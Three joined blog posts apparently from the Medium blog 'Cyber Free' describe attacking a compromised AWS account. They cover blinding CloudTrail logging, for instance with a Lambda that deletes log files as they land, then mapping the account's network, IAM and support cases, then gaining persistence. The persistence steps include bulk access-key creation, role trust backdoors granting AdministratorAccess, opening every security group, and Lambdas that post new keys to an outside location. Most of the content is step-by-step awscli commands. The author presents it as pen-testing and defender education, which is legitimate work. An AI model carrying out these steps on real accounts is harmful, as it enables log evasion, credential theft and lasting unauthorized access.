CloudTrails are written to S3 buckets so logs can be redirected to a separate account owned by someone else. You know, like… you. Or better yet, a cyber-patsy™ (I thought this blog was cyber free?). The S3 namespace is global and world writable buckets are more plentiful than poop in my kid’s nappies, and that’s saying a lot! More on that at some point in the future (the buckets not the poop).
aws cloudtrail update-trail --name my-trail --s3-bucket-name [cyber-patsy-bucket]
I know what you are thinking. Scrap that, I barely know what I am thinking but this S3 bucket stuff is interesting, right?
Targeting the S3 bucket where logs are being written has some distinct advantages. It’s much stealthier than manipulating a trail directly. It’s also more likely to be an available option in a more restricted account context.
As with encryption keys, it is possible to delete a bucket being used for logging.
aws s3 rb --force [s3://my-bucket]
The results are much the same with the exception that the failure is very visible when the affected trail is viewed in the AWS web console.
Similarly, it’s possible to update the bucket policy to prevent CloudTrail from writing to it. Simply delete the “AWSCloudTrailWrite20150319” section of the default generated policy.
https://medium.com/media/1f948e7c6f3e8c9d0bf1bdf25dfef9cd/hrefThen write the policy to the bucket.
aws s3api put-bucket-policy --bucket [my-trail] --policy [file:///my-policy.json]
Again, logging will stop and the web console will display a policy error when viewing the affected trail.
I did attempt to abuse bucket ACLs — these are separate from policies, not sure why — but came up with nothing. It seems even removing the owners ACL wasn’t effective as it could simply be reinstated by the bucket owner.
One of the stealthiest but riskiest options to disrupt logging is to manipulate the target bucket’s lifecycle policy. Buckets can be configured to automatically delete objects after one (or more) days.
aws s3api put-bucket-lifecycle-configuration \
--bucket [my-bucket] \
--lifecycle-configuration [file://s3-lifecycle-config.json]
https://medium.com/media/2861568a541e2b20e9d2f4d6a2c866e0/hrefIt’s unlikely this tactic will be monitored however log files will still live one day and any external ingestion of those files to a SIEM is likely to proceed unimpeded.
There’s an elephant in the room. Have you seen it? Simply deleting the log files immediately once they are written hasn’t been mentioned. That’s because AWS is awesome provides an automated mechanism infinitely better than manually deleting the files and I left it till last. Introducing AWS Lambda.
AWS Lambda is a compute service where you can upload your code to AWS Lambda and the service can run the code on your behalf using AWS infrastructure. After you upload your code and create what we call a Lambda function, AWS Lambda takes care of provisioning and managing the servers that you use to run the code. You can use AWS Lambda as … an event-driven compute service where AWS Lambda runs your code in response to events, such as changes to data in an Amazon S3 bucket...
Setting up a Lambda function to immediately delete anything written to an S3 bucket is a little louder and more involved than any other tactic discussed, but it’s worth it. Because the Lambda function is invoked directly by S3, it will win any race against other code attempting to consume files written to the bucket, effectively making them invisible.
To get it going, create a role that can be assumed by Lambda.
aws iam create-role \
--role-name [lambda\_s3\_innocent\_role] \
--assume-role-policy-document [file:///iam-assume-by-lambda.json]
https://medium.com/media/536cf528b16e5dcb3835672204186082/hrefCreate a policy to attach to the role that allows Lambda to delete s3 objects and whatever else you like. You could also update an existing policy for extra stealth.
aws iam create-policy \
--policy-name [lambda\_s3\_innocent\_policy] \
--policy-document [file:///lambda-s3-delete-policy.json]
https://medium.com/media/95b95190b63ce945f2ebdad2360e54e7/hrefAttach the policy to the role.
aws iam attach-role-policy \
--role-name [lambda\_s3\_innocent\_role] \
--policy-arn arn:aws:iam::[account-id]:policy/[lambda\_s3\_innocent\_policy]
Create the actual Lambda python function code that will delete an s3 object passed to it every time it is invoked.
https://medium.com/media/8cee0b9ee8c5f4c1763aeab5a96e7a9f/hrefCompress the code and register the function.
zip my\_code.zip my\_code.py
aws lambda create-function \
--region [region] \
--function-name [innocent\_function] \
--zip-file [fileb:///my\_code.zip] \
--role arn:aws:iam::[account-id]:role/[lambda\_s3\_innocent\_role] \
--handler [my\_code].lambda\_handler \
--runtime python2.7 \
--timeout 3 \
--memory-size 128 \
--publish
Permit Lambda to be invoked by S3.
aws lambda add-permission \
--function-name [innocent\_function] \
--statement-id [my-guid] \
--principal s3.amazonaws.com \
--action lambda:InvokeFunction \
--source-arn arn:aws:s3:::[my-bucket]
Configure the bucket to call Lambda every time it creates an object.
aws s3api put-bucket-notification-configuration \
--bucket [my-bucket] \
--notification-configuration [file:///s3-notify-config.json]
https://medium.com/media/681f7a1827ae1fa94ecbdbab3899ca5a/hrefEasy, right? Kind of, maybe, at least? There’s more good news though.
The Lambda free tier includes 1M free requests per month and 400,000 GB-seconds of compute time per month.
Unusual billing patterns tip off administrators more often than people would like to admit but this tactic combined with the Lambda free tier conveniently avoids those awkward moments.
This article was written under the assumption you have access to an AWS API key or role with some reasonably broad permissions and an up-to-date installed awscli.
More importantly, it was written to enlighten AWS account administrators and improve legitimate penetration testing TTPs. In fact, as I wrote this article engineers at my workplace implemented mitigations and test for gaps this work identified. Regardless, let’s not fool ourselves, our foes are orders of magnitude smarter than me and probably also know what “orders of magnitude” means precisely. Help?
Go forth and conquer.
Disrupting AWS logging was originally published in Cyber Free on Medium, where people are continuing the conversation by highlighting and responding to this story.
Read the responses to this story on Medium.
So you’ve pwned an AWS account — congratulations — now what? You’re eager to get to the data theft, amirite? Not so fast grasshopper, have you disrupted logging? Choice! Time to look around and understand what you have.
Your instinct is probably to type “whoami” and luckily AWS has an equivalent.
aws sts get-caller-identity
It won’t give you much but it will start painting the picture. The information returned is “not secret” but it can be painful to obtain otherwise. For example, crafting Amazon Resource Names (ARNs) is a key part doing stuff in AWS but account numbers, a constituent part of ARNs, are not typically disclosed outside an account. The identity ARN will also likely have a descriptive role or user name that may give you immediate feel for your access.
{
"Account": "123456789012",
"UserId": "ABCDEFGHIJKLMNOPQRSTUV",
"Arn": "arn:aws:iam::123456789012:user/root"
}
From here, there are a number of options depending on your goals.
Most big organisations that utilise AWS will connect their data centres and offices directly to Amazon using the Direct Connect service.
AWS Direct Connect links your internal network to an AWS Direct Connect location over a standard 1 gigabit or 10 gigabit Ethernet fiber-optic cable. One end of the cable is connected to your router, the other to an AWS Direct Connect router. With this connection in place, you can create virtual interfaces directly to the AWS cloud …, bypassing Internet service providers in your network path.
Like other AWS services, there is an API to interact with and it can be extremely revealing. Describing locations will display meta data about any connections.
aws directconnect describe-locations | jq '.locations [] | .locationCode + " " + .locationName'
A typical result will include a list of aliases and physical facility locations.
"MyDC1 N 11600 W, Saratoga Springs, UT 84045"
"MyDC2 7135 S Decatur Blvd, Las Vegas, NV 89118"
"NSADC 1400 Defense Pentagon Washington, DC 20301"
That information has a nice synergy (now there is only ‘information super highway’ on my bingo board) with route table data provided by interrogating the EC2 API.
aws ec2 describe-route-tables | \jq '.RouteTables | .[] | .Routes [] | .GatewayId + " " + .DestinationCidrBlock' | sort | uniq
You should be able to match locations with the returned IP ranges and later use the matches to tunnel back into data centres or sometimes, even corporate networks. The above command filters out the noise, showing only gateway IDs and destination networks.
“local 10.10.10.0/22”
"vgw-12345678 10.0.0.0/8"
"vgw-12345678 192.168.0.0/12"
...
Virtual gateways are associated with virtual private clouds (VPCs), which are the network containers used to group resources like EC2 instances and Lambda functions. If you can compromise such a resource or create one in the right VPC, you should be able to route normally through those gateways unless network ACLs prevent it. Listing NACLs is also an EC2 call.
aws ec2 describe-network-acls | jq '.NetworkAcls [] .Entries [] | .Protocol + " " + .RuleAction + " " + .CidrBlock' | sort | uniq
Any deny rules are valuable in that they provide a ready made target list of things your target does not want outsiders to access. As you might expect, the rules are manageable through API. Protocol numbers are as per the IANA Assigned Internet Protocol Numbers, and -1 is a wildcard for all protocols.
"-1 allow 0.0.0.0/0"
"6 deny 10.1.2.0/24"
"6 deny 192.168.1.2/32"
As an aside. Amazon appears to have made a blunder bundling bazillions (alliteration achievement attained) of extraneous API functions into the EC2 API namespace. It is both common and easy to write lazy AWS policies that allow all actions to be executed in a particular API. For example:
"Action": "ec2:*"
One final query worth running to get a better sense of the network is to ask Route53 for all of the hosted zones.
aws route53 list-hosted-zones | jq '.HostedZones [] .Name'
As you might expect, this produces a simple of domain names owned by your target and controlled in AWS.
"company.com."
"internal-company.com."
"secret-new-product.com."
...
After you’ve mapped all the networky bits, it’s time to move on to identities and access.
AWS Identity and Access Management (IAM) is a web service that you can use to manage users and user permissions under your AWS account.
IAM is where a lot of the magic and good stuff lives. It’s extremely complicated but extremely powerful, and likely where you will be investing a lot of your reconnaissance and persistence efforts.
Listing users will give you a feel for both the size of the account and the scope of attack surface.
aws iam list-users | jq '.Users [] .Arn'
People tend to name users using either their identity or the intended purpose of the account.
"arn:aws:iam::123456789012:user/JohnSmith"
"arn:aws:iam::123456789012:user/Twitter"
"arn:aws:iam::123456789012:user/IntegrationBot"
...
In large enterprise accounts you may find yourself in the odd situation of the user list being tiny. That could be because authentication is federated via a SAML provider. To reveal this situation, list the identity providers using the IAM API.
aws iam list-saml-providers | jq ‘.SAMLProviderList [] .Arn’
Most of the major 3rd party identity services integrate seamlessly with AWS so its not unusual for one of those to be returned.
“arn:aws:iam::123456789012:saml-provider/Octa”
“arn:aws:iam::123456789012:saml-provider/PingIdentity”
The SAML provider an organisation uses for AWS authentication is highly correlated with the provider they use for other cloud services and internal systems — Yay for single sign-on. Knowing this can dramatically change other tactics you employ and reduce rage from banging your head against an invisible 2FA brick wall.
However, the true power of IAM is in roles. Roles are assumed by users authenticating via SAML. Roles are how Amazon recommends you start your EC2 instances and how it forces you to work in newer services like Lambda. Roles are the magic that gives you keyless API calls. Roles are the future.
You can use roles to delegate access to users, applications, or services that don’t normally have access to your AWS resources. For example, you might want to grant users in your AWS account access to resources they don’t usually have, or grant users in one AWS account access to resources in another account. Or you might want to allow a mobile app to use AWS resources… Sometimes you want to give AWS access to users who already have identities defined outside of AWS, such as in your corporate directory. Or, you might want to grant access to your account to third parties so that they can perform an audit on your resources.
If roles are the future, the ‘list-roles’ function is the Almanac from Back to the Future Part II.
aws iam list-roles | jq '.Roles [] .Arn'
In general role names also tend to be quite descriptive. The full list of role ARNs is critical in escalating privileges and moving laterally within AWS.
"arn:aws:iam::123456789012:role/LambdaRole"
"arn:aws:iam::123456789012:role/AdminRole"
"arn:aws:iam::123456789012:role/TestRole"
...
Conveniently, if you are bored and want to go through all user, role, and policy data with a fine-tooth comb (the hyphen is important because I’m not sure what you’d do with a fine tooth-comb?!), there’s an API to retrieve all the details at once.
aws iam get-account-authorization-details
Finally, while SSH key pairs aren’t strictly part of IAM — they are predictably part of EC2 — they are another identifier that can help with mapping how an organisation deals with access.
aws ec2 describe-key-pairs | jq '.[][] .KeyName'
You should see a list of key names, which might tell you who has access to resources and for what purpose. Shared keys might make for good targets.
"janes-ssh-key"
"team-shared-key"
"product-deployment-key"
...
AWS has a pretty extensive and easy to use support program, accessible from the web interface. It turns out that the typical message based support interaction provided by the web interface, is just a thin layer over yet another API.
The AWS Support API reference is intended for programmers who need detailed information about the AWS Support operations and data types. This service enables you to manage your AWS Support cases programmatically.
You can list support cases to gather interesting intelligence about what the account administrators are attempting to resolve and identify areas of concern.
aws support describe-cases --include-resolved-cases | jq '.cases [] | .subject'
… Like a a compromise of their AWS account.
"Limit Increase: EC2 Instances"
"My password doesn't work - please set it to hunter2."
"I think someone hacked our AWS account"
...
At this point, you might consider easing the stress on overworked Amazon support staff by closing any such cases with a comment like, “Nvm dudez, it waz just our Nessus boxen gone rogue”.
Within a single account, support cases are often logged by many users, and those cases can spiral into big CC chains. This provides an opporunity to gather email addresses to target in later activity.
aws support describe-cases --include-resolved-cases | jq '.cases [] | .submittedBy, .ccEmailAddresses []' | sort | uniq
This article was written under the assumption you have access to an AWS API key or role with some reasonably broad permissions, and an up-to-date installed awscli & jq.
More importantly, it was written to enlighten AWS account administrators and improve legitimate penetration testing TTPs. In fact, as I wrote this article, engineers at my workplace implemented mitigations, detection logic and tests for gaps this work identified. Regardless, let’s not fool ourselves, our foes are already Internet Explorers of the Highest Order of Business Excellence. They are setting sail in our clouds right now.
Exploring an AWS account post-compromise was originally published in Cyber Free on Medium, where people are continuing the conversation by highlighting and responding to this story.
Read the responses to this story on Medium.
So you’ve pwned an AWS account — congratulations — now what? You’re eager to get to the data theft, amirite? Not so fast whipper snapper, have you disrupted logging? Do you know what you have? Sweet! Time to get settled in.
Maintaining persistence in AWS is only limited by your imagination but there are few obvious and oft used techniques everyone should know and watch for.
No one wants to get locked out before mid hack so grab yourself some temporary credentials.
aws sts get-session-token --duration-seconds 129600
Acceptable durations for IAM user sessions range from 900 seconds (15 minutes) to 129600 seconds (36 hours), with 43200 seconds (12 hours) as the default. Sessions for AWS account owners are restricted to a maximum of 3600 seconds (one hour). If the duration is longer than one hour, the session for AWS account owners defaults to one hour.
You’ll want to setup a cron job to do this regularly from here on out. It might sound crazy, but it ain’t no lie. Baby, bye, bye, bye (Sorry got distracted). A sensible person might assume that deleting a compromised access key is a reasonable way to expunge an attacker. Alas, disabling or deleting the original access key does not kill any temporary credentials created with the original. So if you find yourself ousted, you may still get somewhere between 0 and 36 hours to recover.
There are some limitations:
That does create an annoyance but an annoyance that’s trivially overcome. Assuming another role is an API call away. Spinning up compute running under another execution role or instance profile, that can call IAM, is almost as easy.
The best (worst?) part however, is that temporary session keys don’t show up anywhere. Checking the web interface or running “aws iam list-access-keys” is ineffective. There’s no “list-session-tokens” or “delete-session-token” to go along with “get-session-token”. There have been more sitings of the Loch Ness Monster in the wild than AWS session tokens.
This is the entire STS API at time of writing.
I really do hope Amazon does something about this soon. Having someone use the force instead of the API within the accounts I’m responsible for genuinely scares me.
Now that you have insurance, it’s time to burrow in. If being loud and drunk is your cup of Malört, you could just create a new user and access key. Make it look like an existing user, kind of like typo-squatting, and you’ll have yourself a genuine lying-dormant cyber pathogen.
Busting out a new user and key takes two one-liners. Some might call it a two-liner but I’m not into that kind of thing.
aws iam create-user --user-name [my-user]
aws iam create-access-key --user-name [my-user]
In response, you’ll receive an access key ID and a secret access key, which you’ll want to take note of.
{
"AccessKey": {
"UserName": "[my-user]",
"Status": "Active",
"SecretAccessKey": "hunter2",
"AccessKeyId": "ABCDEFGHIJKLMNOPQRST"
}
}
That approach is nice but it’s not the kind of persistent persistence you want. Should the user or access key get discovered, it will take half the API calls to kill them that it did to create them. You’ll be left with only stories about how you used to hack things when you were young. I’ll be waiting for you there with my cup of washed-up sadness.
Instead of creating a new account, it’s more effective to create a new access key for every user in bulk. Bonus points to those who acquire temporary session tokens at the same time.
The code to do it is straightforward. Even a manager (like me) can write it.
https://medium.com/media/f3922ed7f18024292335e1d260f27bc3/hrefThe error handling is somewhat important here as the default key limit per user is two and you will bump up against it semi regularly. Additionally, all access keys have visible creation timestamps which make them easy to spot during a review. Another limitation is that federated (SAML authenticated) users won’t be affected as they integrate with roles rather than user accounts.
At this point any good auditor would claim that this was merely a point-in-time activity, leaving potentially risky compliance gaps when new accounts are created in the future. Alas feisty auditors, there is a solution!
Just create a Lambda function that reacts to user creations via a CloudWatch Event Rule and automagically adds a disaster recovery access key and posts it to a PCI-DSS compliant location of your choosing.
https://medium.com/media/63da92697b0733ac8474adfd1f0db62b/hrefAWS Lambda is a server-less compute thingy (only precise technical terms allowed) that runs a function immediately in response to events and automatically manages the underlying infrastructure. CloudWatch Event Rules are a mechanism for notifying other AWS services of state changes in resources in near real time. They have a very natural relationship as CloudWatch provides the sub-system for monitoring AWS API calls and invoking Lambda functions that execute self-contained business logic.
The API calls and deployment packaging required to setup a Lambda function are a bit convoluted but well documented. You can plough through manually and gain valuable plough experience or use a framework like Serverless to avoid unnecessary wear on your delicate hands. Just ensure the function’s execute role has the “iam:CreateAccessKey” permission.
Users are so 90s though! Like the Backstreet Boys. Not like Michael Bolten. He’s timeless. I mean, how am I supposed to live without him? Now that I’ve been lovin’ him so long.
The AWS recommended ISO compliant method for escalating privileges is to use the STS assume role* API call. Amazon describes it so perfectly, I would be robbing you by not quoting it directly.
For cross-account access, imagine that you own multiple accounts and need to access resources in each account. You could create long-term credentials in each account to access those resources. However, managing all those credentials and remembering which one can access which account can be time consuming. Instead, you can create one set of long-term credentials in one account and then use temporary security credentials to access all the other accounts by assuming roles in those accounts.
Sold! First, create the role.
aws iam create-role \
--role-name [my-role] \
--assume-role-policy-document [file://assume-role-policy.json]
The assume role policy document must include the ARN of the users, roles or accounts that will be accessing the backdoored role. It’s best to specify “[account-id]:root”, which acts as a wild card for all users and roles in a given account.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[account-id]:root"
},
"Action": "sts:AssumeRole"
}
]
}
Then attach a policy to the backdoored role describing the actions it can perform. All of them, IMHO. The pre-canned “AdministratorAccess” policy works a treat as it is analogous to root.
aws iam attach-role-policy \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--role-name [my-role]
There you have it, a freshly minted role to assume from your other pwned accounts without the hassle of all of managing those pesky extra credentials.
While elegant, this approach does have its disadvantages. At some point in the chain of role assumptions, access credentials are required. In the event those credentials or pwned accounts are discovered and purged, your access will die with them.
As before, it’s more effective to backdoor the existing roles in an account than create new ones. The code is trickier this time because it requires massaging of existing assume role policies and their structural edge cases. I’ve tried to comment them fully in the code below but edge cases may have been missed.
https://medium.com/media/4cd9558d3b3e31940c14e682a7328ce0/hrefWhile adding adding access keys to a user leaves a trail of recent creation timestamps, by default there is no easy way to identify which part of a policy has been modified. Defenders may be able to identify that a policy has been changed, but without external record keeping of previous policy versions, they will be left to comb through each policy to look for bad account trusts. This is made more difficult through randomisation of source account ARNs.
Finally, to future proof it all, create a Lambda function that responds to role creations via a CloudWatch Event Rule. As with the access key example, the below code posts the backdoored ARN to a location of your choosing. You may also want to send the role’s permissions and source ARN.
https://medium.com/media/0178d04a0dfbaae8fee99dd478d2eff6/hrefIf you were less lazy than me, you could make the code react to UpdateAssumeRolePolicy calls and reintroduce backdoors that are removed.
Sometimes you’ll want to maintain access to live resources rather than the AWS API. For those situations there’s one other basic access persistence tactic worth discussing in an introductory piece, security groups. Security groups tend to get in the way of such things; SSH and database ports aren’t typically accessible to the Internet.
A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. When you launch an instance in a VPC, you can assign the instance to up to five security groups. Security groups act at the instance level, not the subnet level. Therefore, each instance in a subnet in your VPC could be assigned to a different set of security groups.
In practice, “instances” is broader than just EC2. Security groups could be applied to Lambda functions, RDS databases, and other resources that support VPCs.
By now you know the drill. Creating a new security group or rule and applying it to one or two resources is okay but let’s skip that step and just do all of them. Shockingly (can I be shocked by own set definitions?), “all of them” includes the default security group. This is important because if a resource does not have a security group associated with it, the default security group is implicitly associated.
https://medium.com/media/63ce6af562376e8622836bdc49172916/hrefSome older accounts still have services running “EC2 Classic” mode, which means that modifying only EC2 security groups is not sufficient. Back in the day RDS, ElastiCache, and Redshift had their own implementations of security groups. Their relevant authorise functions would need to be called to get full security group coverage:
This approach has been phased out. In fact, accounts created after 4th December 2013 cannot use EC2 Classic at all.
Finally, complete the circle of life with a Lambda function that executes when create security group CloudWatch Event Rules are fired.
https://medium.com/media/3fe70a55c23e7782d40627e3c2598383/hrefThe extra access rules are pretty easy to spot just by eyeballing the security group. However, the workflow for creating a security group via the web console involves defining all the rules prior to actually calling the API. Consequently, unless someone returns to refine a security group, they are unlikely to notice the extra line item.
Between this and the other tactics, you should be well untruly entrenched in a pwned AWS account. You might not be a devil worm but you are certainly a wombat. An AWS WOMBAT!
It is obvious that information could be used for good and evil. I used it to strengthen the security posture of accounts I am responsible for and make detection processes testable. Professional penetration testers will use it to mimic real world attackers in their engagements. Please do the same. Don’t be evil.
Whatever your choice, none of this is unattainable to even the scriptiest (anyone know why there’s a red underline under that word? hmmm) of script kiddies. It’s better for everyone to have access to the knowledge then just the bad guys.
Backdooring an AWS account was originally published in Cyber Free on Medium, where people are continuing the conversation by highlighting and responding to this story.
Read the responses to this story on Medium.